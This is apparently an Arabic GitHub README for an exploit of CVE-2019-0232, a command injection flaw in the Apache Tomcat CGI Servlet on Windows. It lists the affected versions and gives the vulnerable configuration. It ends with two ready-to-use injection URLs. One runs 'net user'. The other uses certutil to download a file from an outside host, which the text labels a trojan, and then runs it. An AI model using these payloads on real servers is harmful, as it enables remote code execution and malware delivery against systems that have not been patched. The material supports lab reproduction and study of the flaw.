cyy95/cve-2019-0232-expاستغلال لثغرة حقن الأوامر في CGI Servlet الخاص بـ Apache Tomcat (CVE-2019-0232) يتيح تنفيذ التعليمات البرمجية عن بُعد عبر طلبات HTTP مُصممة بعناية على الإصدارات المتأثرة.
بيئة الاختبار هي Win10 Home 1809، إصدار jre هو 18.3 (build 10.0.2+13)، إصدار Tomcat هو 9.0.13.
★Apache Tomcat 9.0.0.M1 إلى 9.0.17
★Apache Tomcat 8.5.0 إلى 8.5.39
★Apache Tomcat 7.0.0 إلى 7.0.93
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
تكوين تعيينات Servlet:
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
أضف الخاصية privileged="true"
<Context privileged="true">
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
</Context>
أخيرًا، أنشئ ملفًا فارغًا hello.bat داخل مجلد webapps/ROOT/WEB-INF، ولا حاجة لكتابة أي شيء فيه. قم بتشغيل Tomcat، افتح المتصفح، وانتقل إلى الرابط التالي: http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5Cnet+user
أنشئ رابط حقن لتنفيذ وظيفة تنزيل صورة (حصان طروادة): http://localhost:8080/cgi-bin/hello.bat?&C%3a%5cWindows%5cSystem32%5ccertutil+-urlcache+-split+-f+http%3a%2f%2fb.hiphotos.baidu.com%2fimage%2fpic%2fitem%2f9825bc315c6034a8ef5250cec5134954082376c9.jpg+1.jpg+%26start+1.jpg
